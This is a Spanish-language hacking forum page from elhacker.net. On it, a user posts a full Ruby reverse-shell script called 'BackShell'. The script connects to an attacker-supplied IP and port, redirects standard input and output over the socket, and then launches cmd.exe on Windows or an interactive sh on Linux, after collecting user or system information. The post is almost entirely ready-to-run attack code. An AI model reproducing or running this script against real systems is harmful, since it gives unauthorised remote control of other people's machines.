elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
29 Mayo 2012, 05:18  


Tema destacado: Únete al Grupo Steam elhacker.NET

+  Foro de elhacker.net
|-+  Programación
| |-+  Scripting (Moderadores: Novlucker, Leo Gutiérrez., EleKtro H@cker)
| | |-+  [Ruby] BackShell
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [Ruby] BackShell  (Leído 94 veces)
Doddy

Desconectado Desconectado

Mensajes: 220



Ver Perfil
[Ruby] BackShell
« en: 7 Octubre 2011, 01:29 »

Un reverse shell en ruby

Código
#!usr/bin/ruby
#Back Shell (C) Doddy HAckman 2010
#Creditos : protos por darle vida a un lenguaje casi olvidado  en este mundo
 
require 'socket'
 
ip = ARGV[0]
port = ARGV[1]
 
def uso
 print "\n[+] bind.rb <ip> <port>\n"
end
 
def  head
 print "\n\n-- == ReverseShell By Doddy H == --\n\n"
end
 
def copyright
 print "\n\n(C) Doddy Hackman 2010\n\n"
end
 
 
def infowin
 system("net user")
end
 
def openwin()
system("cmd.exe")
end  
 
def infolin
 system("uname -a")
end
 
def openlin()
system("export TERM=xterm;exec sh -i")
end  
 
def now(ip,port)
 print "\n\n-- == ReverseShell By Doddy H == --\n\n"
 print "\n[+] Ok , enter to the system\n\n"
begin
backdoor = TCPSocket.new(ip,port)
 $stdout.reopen(backdoor)
 $stdin.reopen(backdoor)
 rescue
 print "\n[-] Un puto error !!\n\n"
 exit(1)  
 end
 if RUBY_PLATFORM =~/win/
  infowin()
  openwin()
 else
  infolin()
  openlin()
end
end
 
 
if !ip and !port
uso()
else
 now(ip,port)
end
 
#The End ???
 


« Última modificación: 8 Octubre 2011, 19:01 por Doddy » En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
¿Qué es 1 backshell?
Hacking Básico
alvaro4356 2 500 Último mensaje 3 Agosto 2007, 16:14
por thorking
Ruby y Ruby on Rails
Programación General
Nanocity 2 675 Último mensaje 31 Octubre 2007, 21:32
por alone-in-the-chat
Ruby On Rails
Desarrollo Web
JanW 3 898 Último mensaje 18 Enero 2010, 20:17
por Nakp
Ruby
Programación General
¡Micronet! 2 724 Último mensaje 18 Octubre 2010, 22:49
por ¡Micronet!
[Introducing Ruby] Lo que debes saber sobre Ruby
Scripting
RyogiShiki 0 1,946 Último mensaje 4 Marzo 2011, 20:45
por RyogiShiki
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines